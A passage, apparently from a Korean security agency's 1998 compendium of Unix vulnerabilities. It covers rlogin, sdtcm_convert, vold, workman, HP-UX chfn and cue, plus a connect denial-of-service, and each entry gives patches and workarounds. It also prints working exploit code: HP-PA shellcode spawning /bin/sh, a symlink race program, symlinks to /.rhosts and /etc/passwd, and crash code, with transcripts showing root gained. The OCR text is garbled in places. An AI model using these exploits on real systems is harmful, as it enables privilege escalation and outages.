long_p = (u_long *) char_p;

targ_addr = get_sp() - STACK_OFFSET;

for (i = 0; i < EXTRA / sizeof(u_long); i++)

*long_p++ = targ_addr;

printf("Jumping to address 0x%1x₩n, targ_addr);

Page 595: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);

perror("execl failed");

}

해킹시험결과

kisa1% whoami

kadosu

kisa1% id

uid=123(kadosu) gid=10(staff)

kisa1% ./rlogin

Jumping to address Oxefffcba0

#id

uid=0(root) gid=10(staff)

해킹흔적 확인방법

내용

대응방법

1. chmod 500 /usr/bin/rlogin

2. patch : SunOS 5.5.1 104650-02

패치설치

Berkeley Software Design, Inc. (BSDI)

ftp://ftp.bsdi.com/bs야/patches/patches-2.1/U210-021

Cray Research - A Silicon Graphics Company

현재 버전의 Unicos에서는 모두 수정되었음

Digital Equiment Corporation

다음버전들에 대한 패치가 제공되고 있다. 벤더를 통해 확인한다.

DIGITAL UNIX V3.2c, V3.2de2, V3.2g, V3.2g, V4.0, V4.0a, V4.0b

DIGITAL ULTRIX V4.4, VAX & MIPS, V4.5, VAX and MIPS

FreeBSD, Inc.

이 취약점은 FreeBSD 2.1.5 및 그 이전 버전들에 존재한다. 1996/07/25 이후에 제공된

FreeBSD 바이너리에는 모두 수정되었다.

2.1.5 버전에 대해서는 다음의 소스코드 패치를 적용한다.

Page 596: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Index : rlogin.c

══════════════════════════════════

RCS file: /home/ncvs/src/usr.bin/rlogin/rlogin.c,v

retrieving revision 1.5.4.1

Page 597: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rlogin-*-오버플로우

retrieving revision 1.5.4.2

diff -c -r1.5.4.1 -r1.5.4.2

*** rlogin.c 1996/06/23 13:08:27 1.5.4.1

- ---rlogin.c 1996/07/25 18:29:35 1.5.4.2

***************

*** 102,107 ****

- --- 102,108 ---

char *102,108[] = {

"0", "50", "75", "110", "134", "150", "200", "300", "600","1200",

"1800", "2400", "4800", "9600", "19200", "38400", "57600", "115200"

+ #define MAX_SPEED_LENGTH (sizeof("115200") - 1)

};

#ifdef OLDSUN

**************

*** 259,265 ****

exit(1);

}

! (void)strcpy(term, (p = getenv("TERM")) ? p : "network");

if (ioctl(0, TIOCGETP, &ttyb) == 0) {

(void)strcat(term, "/");

(void)strcat(term, speeds[(int)ttyb.sg_ospeed]);

- ---260,270 ----

exit(1);

}

! #define MAX_TERM_LENGTH (sizeof(term) - 1 -

MAX_SPEED_LENGTH -1)

!

! (void)strncpy(term, (p = getenv("TERM")) ? p : "network",

! MAX_TERM_LENGTH);

! term[MAX_TERM_LENGTH] = '₩0';

if (ioct(0, TIOCGETP, &ttyb) == 0) {

(void)strcat(term, "/");

(void)strcat(term, speeds[(int)ttyb.sg_ospeed]);

Page 598: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Hewlett-Packard Corporation

PHNE_8807 10.20 s700/800

PHNE_8806 10.10, 10.0x s700/800

PHNE_8805 9xX s700/800

Hewlett-Packard의 보안게시판(Security Bulletin) HPSBUX9702-052(19973235 발표)를

참조한다.

IBM Corporation

AIX 3.2 : APAR - IX57724 (PTR - U442613)

AIX 4.1 : APAR - IX57972

AIX 4.2 : APAR - 이미 수정됨

Linux Systems

Linux Netkit 0.08 이전 버전에는 문제가 있다. 이전 버전의 모든 Linux 시스템들에 대해

서는 NetKit 0.09으로 업그레이드한다. 일부 벤더에서 문제를 수정한 Netkit-0.08 릴리즈

를 제공한다.

NetKit 0.09은 다음에서 구할 수 있다.

ftp://ftp.uk.linux.org/pub/linux/Networking/base/NetKit-0.09.tar.gz

Page 599: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

NeXT Software, Inc.

OpenStep/Mach release 4.1 및 이후 버전에서 수정되었음

The Open Group

OSF/1 R1.3.3 수정판 릴리즈에서 수정됨

The Santa Cruz Operation (SCO)

ftp://ftp.sco.COM/SLS/README를 참조하여 확인한다.

임시 조치

- 다음과 같이 rlogin을 사용하지 못하도록 설정한다.

% chmod 0 /usr/bin/rlogin

※ 시스템에 따라 rlogin 프로그램의 위치가 다를 수 있다. /bin, /usr/bin, /usr/ucb.

등의 위치를 살펴본다.

※ 일부 시스템에서는 다른 기능을 부가하여 다른 이름으로 제공되고 있는 경우도 있다. 예

를들어 Kerberos 인증과 암호화 기능을 부가한 eklogin, klogin등이 있다. 이들 프로그램들

도 마찬가지로 취약하므로 동일하게 조치하여야 한다.

- rlogin을 필요로 하는 경우, 랩퍼를 이용한다.

ftp://info.cert.org/pub/tools/rlogin_wrapper/rlogin_wrapper.c

Page 600: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sdtcm-*-임시파일

sdtcm-*-tmpfie

Page 601: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sdtcm-*-tmpfie

sdtcm-*-임시파일

문서번호

KH98-061

문서제목

sdtcm-*-임시파일(sdtcm-*-tmpfie)

관련 응용프로그램

/usr/dt/bin/sdtcm_convert

관련 운영체제

Solaris 2.x Common Desktop Environment (CDE)를 채용한 모든 운영체제

취약점 분석

취약점 이해

- sdtcm_convert(1)는 calendar 자료를 버전 3용에서 버전 4용으로 변환시켜주는 유틸리

티이다.

- sdtcm_convert는 Solaris 2.x Common Desktop Environment(CDE) 응용프로그램 패키

지인 SUNWdtdst의 일부분이다.

- sdtcm_convert는 기본적으로 /usr/dt/bin/sdtcm_convert로 설치된다.

- sdtcm_convert는 수행중에 루트권한으로 파일을 수정하는데, 안전하지 않은 방법으로 파

일을 처리한다. 이같은 취약점을 이용하여 일반사용자가 시스템내의 임의 파일의 소유자를

변경시킬 수 있으며, 이를 통해 루트(root) 권한을 얻을 수도 있다.

취약점 확인 방법

- 다음과 같은 명령을 이용하여 SUNWdtdst 패키지의 설치 여부와 버전을 확인한다.

% pkginfo -l SUNWdtdst

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

Page 602: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <unistd.h>

#define path "/var/spool/calendar/callog."

void main(int argc, char *argv[])

{

int pid,filedes[2];

FILE *f;

struct stat info;

long i;

char target[128],shift[128];

strcpy(target,argv[1]);

strcpy(shift,path);

strcat(shift,argv[2]);

if(pipe(filedes))

{

perror("cant crate pipe₩n");

exit(0);

}

if(pid=fork()==0)

{

for(i=0;i< 30000000;i++);

unlink(shift);

symlink(target,shift);

write(filedes[1],"y₩n",sizeof("y₩n"));

}

else

{

close(0);

dup(filedes[0]);

system("lemon");

stat(target,&info);

if(info.st_uid==getuid()) printf("COLL I did IT !!!₩n");

}

}

Page 603: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

www% id

uid=102(kadosu) gid=10(staff)

www% ls -ld /user/staff/kadosu/shadow

-r-------- 1 root other 1097 2월 28일 15:03

/user/staff/kadosu/shadow

www% ls -ld /var/spool/calendar/callog.kadosu

-rw-r--r-- 1 kadosu daemon 770 2월 28일 16:24

/var/spool/calendar/callog.kadosu

www% orange /user/staff/kadosu/shadow kadosu

Loading the calendar ...

The ownership and/or the permission mode of the calendar file is wrong.

Do you want to correct it ? (Y/N) [Y] Correction done.

Total number of appoointments = 0

Number of one-time appointments = 0

Number of repeating appointments = 0

COLL I did IT !!!

www% id

uid=102(kadosu) gid=10(staff)

www% ls -ld /user/staff/kadosu/shadow

-r--rw---- 1 kadosu daemon 1097 2월 28일 15:03

/user/staff/kadosu/shadow

www% ls -ld /var/spool/calendar/callog.kadosy

lrwxrwxrwx 1 kadosy daemon 25 2월 28일 16:27

/var/spool/calendar/callog.kadosu -> /user/staff/kadosy/shadow

www%

해킹흔적 확인방법

대응방법

Page 604: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

패치 설치

CDE version Patch MD5

~~~~~~~~~~~~ ~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

1.0.1 sparc 103671-02.tar.Z abb42a75b89c16e085d0f8811eeede10

1.0.2 sparc 103670-02.tar.Z e9f8f34deaaf215ff5f5b632bf0d45ea

1.0.1 x86 103718-02.tar.Z cebb82a95592392359f5206fe2a63ed1

1.0.2 x86 103717-02.tar.Z 18fe28c03abdf118b647fd347261089e

임시 조치

- 일반 사용자의 사용권한을 제거한다.

# chmod 500 /usr/dt/bin/sdtcm_convert

Page 605: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

vold-soalris-임시파일

vold-soalris-임시파일

Page 606: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

vold-soalris-임시파일

vold-soalris-임시파일

문서번호

KH98-062

문서제목

vold-soalris-임시파일(vold-Solaris-tmpfile)

관련 응용프로그램

/usr/sbin/vold

관련 운영체제

/usr/sbin/vold

취약점 분석

취약점 이해

- vold(1)은 플로피디스크와 CD-ROM을 관리하는 불륨관리 데몬이다. vold는 Solaris 2.x

볼륨관리 패키지인 SUNWvolu의 일부분으로서, 시스템 시동시 백그라운드에서 root 권한으

로 수행된다.

- 플로피디스크나 CD-ROM 디스크가 드라이브에 삽입되는 것이 확인되면 vold는 이를 자

동적으로 마운트시켜 사용자가 사용할 수 있도록 한다. 이 작업 과정에서 오픈윈도우의 파

일관리자인 filemgr(1)가 삽입된 매체를 인식할 수 있도록하기위해 임시파일을 생성한다.

- vold의 보안취약점을 야기시키는 이 임시파일은 rmmount(1M)를 통해 간접적으로 호출

되는 /usr/lib/rmmount/action_filemgr.so.1 공유 오브젝트에 의해 생성된다. 그러나 이 파

일의 모드는 666으로 설정되므로 이 임시파일을 다른 파일로 미리 심볼릭 링크를 걸어놓을

경우 일반사용자가 루트권한으로 시스템파일을 조작할 수 있다.

취약점 확인 방법

- /tmp 아래의 .removable 디렉토리에 임시파일에 링크 여부를 조사한다.

해킹수법 분석

해킹수법 이해

- vold는 rmmount(1M)를 통해 action_filemgr.so를 호출하여 임시파일을 생성한다. 그러

나 이 파일의 모드는 666으로 설정되므로 이 임시파일을 다른 파일로 미리 심볼릭 링크를

걸어놓을 경우 일반사용자가 루트권한으로 시스템파일을 조작할 수 있다.

Page 607: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 소스 프로그램

ln -s /.rhosts/tmp/.removable/floppy0

volcheck

해킹시험 결과

flat% flat# id

uid=0(root) gid=1(other)

flat# su kadosu

Warning: cannot determine current directory

flat% id

uid=200(kadosu) gid=10(staff)

flat% ls -ld /.rhosts

/.rhosts: No such file or directioy

flat% ln -s /.rhosts /tmp/.removable/floppy0

flat% ls -ld /tmp/.removable/floppy0

lrwxrwxrwx 1 kadosu staff 8 Mar 10 13:42

/tmp/.removable/floppy0 -> /.rhosts

flat% volcheck

flat% ls -ld /.rhosts

-rw-rw-rw- 1 root nobody 39 Mar 10 13:43 /.rhosts

flat%

해킹흔적 확인방법

대응방법

패치설치

- 패치를 설치한다.

SunOS 5.5.1 Patch ID : 104010-01

임시조치

- /etc/rmmount.conf를 편집한다.

구성 변경을 통해 rmmount(1M)가 임시파일을 생성하지 않도록할 수 있다.

rmmount(1M)의 구성을 이같이 변경시키면vold의 기능은 정상적으로 수행되지만 대신 오픈

윈도우즈의 파일관리자인 filemgr(1)가 새로 마운트된 매체를 자동으로 인식할 수 없게된

다.

rmmount(1M)가 임시파일을 생성하지 않게하려면 /etc/rmmount.conf 파일을 수정하여

action_filemgr.so를 참조하는 다음의 모든 항목을 제거하면 된다.

action cdrom action_filemgr.so

action floppy action_filemgr.so

Page 608: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

- 일반 사용자의 사용권한을 제거한다.

# chmod 500 /usr/dt/bin/sdtcm_convert

- 볼륨관리 패키지가 필요없을 경우, pkgrm(1M) 명령을 이용해 다음 패키지들을 제거한다.

SUNWvolg

SUNWvolu

SUNWvolr

Page 609: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

workman-*-임시파일

workman-*-tmpfile

Page 610: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

workman-*-tmpfile

workman-*-임시파일

문서번호

KH98-063

문서제목

workman-Solaris-임시파일(workman-*-tmpfile)

관련 응용프로그램

workman S/W

관련 운영체제

Workman이 설치된 일부 운영체제

취약점 분석

취약점 이해

- “workman” 프로그램은 시스템의 CD-ROM 드라이브를 이용해 음악용 CD-ROM을 연주

할 수 있도록 하기위한 유틸리티이다.

- 이 “Makefile.linux” 또는 “Makefile.svr4” 파일을 이용하여 빌드된 경우, “workman” 프

로그램은 set-user-id "root"로 설치된다. 이것은 CD-ROM 디바이스가 모든 사용자에게

읽기 권한을 허용하지 않은 시스템을 위한 설계사항이다.

- “WorkMan”은 작동에 필요한 시그널을 받아들이기 위해 프로세스 ID를 “/tmp/.wm_pid”

파일에 기입해 둔다. 그러나 “-p” 옵션을 사용하면 사용자가 지정한 파일에 이 정보를 기록

하게 할 수 있다.

- “-p" 옵션을 통해 파일이 지정된 경우, “WorkMan”은 지정된 파일을 새로 생성(creat)하

거나 지정된 파일의 내용을 제거(truncate)해본 후, 이에 성공하면 모든 사용자가 읽고 쓸수

있도록 해당 파일의 모드를 설정한다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- “/tmp/.wm_pid” 임시파일의 모드가 666으로 설정되므로 원하는 파일에 심볼릭 링크를

걸어두면 루트 소유의 시스템 파일을 변경시킬 수 있다.

- 또는 “-p" 옵션을 이용하여 임의의 파일을 루트소유로 666모드로 생성하거나 기존의 임

의의 파일의 모드를 666으로 변경시킬 수 있다.

Page 611: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 소스 프로그램

해킹시험 결과

flat% ls -al /tmp/.rhosts

-rw------ 1 root other 504 Mar 8 18:18 /tmp/.rhosts

flat% id

uid=200(kadosu) gid=10(staff)

flat% ln -s /tmp/.rhosts /tmp/.wm_pid

ln: cannot create /tmp/.wm_pid: File exists

flat% ln -s /tmp/.rhosts /tmp/.wm_pid

flat% workman&

[1] 4275

flat% Xlib: connection to ":0.0" refused by server

Xlib: Client is not authorized to connect to Server

XView error: Cannot open connection to window server: :0.0 (Server

package)

[1] Exit 1 workman

flat% ls -al /tmp/.rhosts

-rw------ 1 root other 504 Mar 8 18:18 /tmp/.rhosts

flat% ls -ld /usr/local/bin/workman

-rwxr-xr-x 1 root other 624256 Aug 14 1996

/usr/local/bin/workman

flat% ls -ld /tmp/.rhosts

-rw-rw-rw- 1 root other 5 Mar 9 18:39 /tmp/.rhosts

flat% id

uid=200(kadosu) gid=10(staff)

════════

flat# workman&

[1] 4279

flat# id

uid=0(root) gid=1(other)

flat#

해킹흔적 확인방법

대응방법

Page 612: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

패치 설치

내용

임시조치

- 다음과 같이 set-user-id root 설정을 없애고 대신 CD-ROM을 누구나 읽을 수 있도록

설정한다.

# chmod u-s /usr/local/bin/workman

# chmod +r /dev/cdrom

단, 이 경우, CD-ROM의 내용을 모든 사용자가 읽을 수 있게된다.

- 필요없을 경우, WorkMan 프로그램을 제거한다.

# rm /usr/local/bin/workman

Page 613: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Ichfn-HP-오버플로우

chfn-HP-overflow

Page 614: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

chfn-HP-overflow

chfn-HP-오버플로우

문서번호

KH98-064

문서제목

chfn-HP-오버플로우 (chfn-HP-overflow)

관련 응용프로그램

/bin/chfn

관련 운영체제

HP-UX 9.x, 10.x

취약점 분석

취약점 이해

- HP-UX의 chfn(1) 명령은 passwd 파일내의 사용자 정보를 변경시키는데 사용하는 유틸

리티로서, 기본적으로 설치된다.

- 사용자가 제공한 인수에 대해 길이를 검사하지 않기 때문에 내부 버퍼가 오버플로우될

수 있다.

- chfn 명령은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- chfn에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우시킨 후 제공

된 이진 코드를 실행하게된다.

- 이때 chfn은 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으로 수행

된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻을 수도

있다.

해킹 소스 프로그램

#!/opt/perl5/bin/perl

use FileHandle;

Page 615: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sub h2cs {

local($stuff)=@_;

local($rv);

while($stuff !~ /^$/) {

$bob=$stuff;

$bob =~ s/^(..).*$/$1/;

$stuff =~ s/^..//;

$rv.=chr(oct("0x${bob}"));

# $rv.=sprintf("%c",oct("0x${bob}"));

}

return $rv;

}

open(PIPE, "uname -r|");

chop($rev=<PIPE>);

close(PIPE);

$rev =~s/^.*₩.(.*)₩..*$/$1/;

if ($rev eq "10") {

$offset=2070;

$prealign="AA";

$postaling="PPPP";

$pcoq=h2cs("7b03A013");

} else {

$offset=2070;

$prealign="AA";

$postalign="PPPP";

$pcoq=h2cs("7b033013")

}

$nop=h2cs("08210280");

$code="";

$code.=h2cs("34160506"); # LDI 643,r22

$code.=h2cs("96d6534"); # SUBI 666,r22,r22

$code.=h2cs("20200801"); # LDIL L%0xC0000004,r1

$code.=h2cs("e420e008"); # BLE 4(sr7,R1)

$code.=h2cs("0b5a029a"); # XOR arg0,arg0,arg0

$code.=h2cs("e83f1ffd"); # BL .+8,r1

$code.=h2cs("08210280"); # NOP

$code.=h2cs("34020102"); # LDI 129,rp

$code.=h2cs("08410402"); # SUB r1,rp,rp

Page 616: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

$code.=h2cs("60400162"); # STB r0,177(rp)

$code.=h2cs("b45a0154"); # ADDI 170,rp,arg0

$code.=h2cs("0b390299"); # XOR arg0,arg0,arg0

$code.=h2cs("0b180298"); # XOR arg0,arg0,arg0

$code.=h2cs("341604be"); # LDI 607,r22

$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1

$code.=h2cs("e420e008"); # BLE4(sr7,r1)

$code.=h2cs("96d60534"); # SUB 666,r22,r22

$code.=h2cs("deadcafe"); # lllegal instruction -- dump core if exec

fails

$data="/bin/sh."; # Data stuff

$codedata=$code.$data;

$num=int(($offset-length($code)-length($data)-4)/4);

$pro="$nop"x$num;

$of=$prealign;

$of.=$pre.$code.$data.$postalign.$pcoq;

exec("/bin/chfn","$of")

해킹시험 결과

$ id

uid-102(kadosu) gid=20(users)

$ ./chfn1.pl

There is no account for A!44 Z!A@bZT94 4嚬寵/bin/sh.PPPP{ on this

machine.

You probably misspelled your login name;

only root is allowed to change another person's finger entry.

Note: You do not need to type your login name as an argument.

# id

uid=0(root) gid=20(users)

# uname -a

HP-UX hpux B. 10.20 A 9000/811 2002335804 two-user license

Page 617: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

패치 설치

- 패치를 설치한다.

HP-UX10.20 Patch ID : PHC0_9597

임시 조치

- set-user-id root 설정과 일반사용자에 의한 실행권한을 제거한다.

chmod 500 /usr/bin/chfn

- 다음과 같은 랩퍼 프로그램을 설치한다.

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper.c

Page 618: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

connect-*-서비스거부

connect-*-DoS

Page 619: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

connect-*-DoS

connect-*-서비스거부

문서번호

KH98-065

문서제목

connect-*-서비스거부(connect-*-DoS)

관련 응용프로그램

관련 운영체제

IBM AIX 4.1.4, 4.1.5

HP HP-UX 9.05, 10.01, 10.20

취약점 분석

취약점 이해

- 이 취약점을 가진 운영체제에서 자기 자신(localhost)의 Telnet 포트(port 23)로 접속한

뒤 바로 끊은 뒤 24번 포트로 접속할 경우 시스템이 크래쉬된다.

- 일반적으로 다음과 같은 절차를 거쳐 특정 포트에 접속하였다가 바로 끊고 다시 연결을

맺는 경우 시스템이 크래쉬 된다.

connect XX -> shutdown XX,2 -> connect ??

※HP/UX 10.01에 대해 시험 결과 XX=21, 23, 79, 111, 113, 513, 514, 6000 포트에

대해 위의 문제점이 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

[소스 예 1]

main()

{

Page 620: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int sock;

struct sockaddr_in server;

struct hostent *hp;

sock = socket(AF_INET, SOCK_STREAM, 0);

/* or sock = socket(AF_INET, SOCK_STREAM, 6); */

hp = gethostbyname("localhost");

bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);

server.sin_family = AF_INET;

server.sin_port = 23;

connect(sock, (struct sockaddr *)&server, sizeof server);

shutdown(sock, 2);

server.sin_port = 24;

connect(sock, (struct sockaddr *)&server, sizeof server);

}

[소스 예 2]

#!/usr/local/bin/per15

use Socket;

socket (SOCK,AF_INET,SOCK_STREAM,0);

$iaddr = inet_aton('localhost');

$paddr = sockaddr_in('23',$iaddr);

connect SOCK,$paddr;

shutdown SOCK,2;

$paddr = sockaddr_in('24', $iaddr);

connect SOCK,$paddr;

해킹시험 결과

system crash, rebooting...,

Page 621: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

패치 설치

- 패치를 설치한다.

HP-UX 10.01 patch ID : PHNE_9102

IBM AIX patch ID : APAR IX66819

임시 조치

Page 622: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

cue-HPUX-임시파일

cue-HPUX-tmpfile

Page 623: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

cue-HPUX-tmpfile

cue-HPUX-임시파일

문서번호

KH98-065

문서제목

cue-HPUX-임시파일(cue-HPUX-tmpfile)

관련 응용프로그램

/bin/cue

관련 운영체제

HP HP-UX 10.20

취약점 분석

취약점 이해

- CUE(Chatacter-Terminal User Environment)는 HP의 800 시리즈 시스템에 제공되는

문자열 단말용 사용자환경으로서, 문자열 단말에 기초한 세션에 대해 X 윈도우 기반의 세션

을 위한 CDE와 유사한 기능을 제공하기 위한 것이다.

- CUE는 PC 또는 비 HP 단말을 포함하여 Terminal Session Manager (TSM)을 지원하

는 문자열 단말기를 지원하며 다음과 같은 단말 타입과 호환된다.

HP700/92 HP700/94 HP2392 HP2394 VT320 VT100 WYSE60

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- cue 수행시 생성되는 임시파일의 이름을 알아내어 시스템 파일과 심볼릭 링크시킨 후,

cue를 수행시키면 해당시스템 파일의 내용이 변경되어버린다.

해킹 소스 프로그램

Page 624: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

$ id

uid=101(hsim) gid=20(users)

$ cue

CUE: Cannot open cue.cat in the NLSPATH=

directory for the language, .

CUE will use the default in usr/lib/nls/C/cue.cat

*** Terminal 'unknown' is not supported, we have:

console, 300h, A1659A

hp, hpfield, hpterm, hp2392, hp70092, hp70094, hp70096, hp70098,

2392, 70092, 70094, 70096, 70098, hpterm-asian

ibm3151

vt100, vt200, vt300, vt320, vt220, xterm, xterms, aixterm, vt200F

dap4x, ba80-ct03, ba80-08

97801

wy60

wy30

Memory fault

$ ls -1

total 6

-rw-rw---- 1 root users 0 Oct 15 17:52 IDMERROR.ttyp1

# su -1 hsim

(c)Copyright 1983-1996 Hewlett-Packard Co., All Rights Reserved.

(c)Copyright 1979, 1980, 1983, 1985-1993 The Regents of the Univ. of

California

(c)Copyright 1980, 1984, 1986 Novell, Inc.

(c)Copyright 1986-1992 Sun Microsystems, Inc.

(c)Copyright 1985, 1986, 1988 Massachusetts Institute of Technology

(c)Copyright 1989-1993 The Open Software Foundation, Inc.

(c)Copyright 1986 Digital Equipment Corp.

(c)Copyright 1990 Motorola, Inc.

(c)Copyright 1990, 1991, 1992 Cornell University

(c)Copyright 1989-1991 The University of Maryland

(c)Copyright 1988 Carnegie Mellon University

Page 625: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

RESTRICTED RIGHTS LEGEND

Use, duplication, or disclosure by the U.S. Government is subject to restrictions as

set forth in sub-paragraph (c)(1)(ii) of the Rights in Technical Data and Coputer

Software clause in DFARS 252.227-7013.

Hewlett-Packard Company

3000 Hanover Street

Palo Alto, CA 94304 U.S.A.

Rights for non-DOD U.S. Government Departments and Agencies are as set

forth in FAR 52.227-19(c)(1,2).

$ id

uid=101(hsim) gid=20(users)

$ ln -s /etc/passwd IDMERROR.ttyp1

$ ls -al

total 8

drwxrwxrwx 2 root sys 1024 Oct 15 18:03 .

drwxr-xr-x 4 root root 1024 Oct 15 17:53 ..

-rw------- 1 hsim users 360 Oct 15 18:03 .sh_history

lrwxrwxrwx 1 hsim users 11 Oct 15 18:03 IDMERROR.ttyp1

-> /etc/passwd

$ export LOGNAME=root

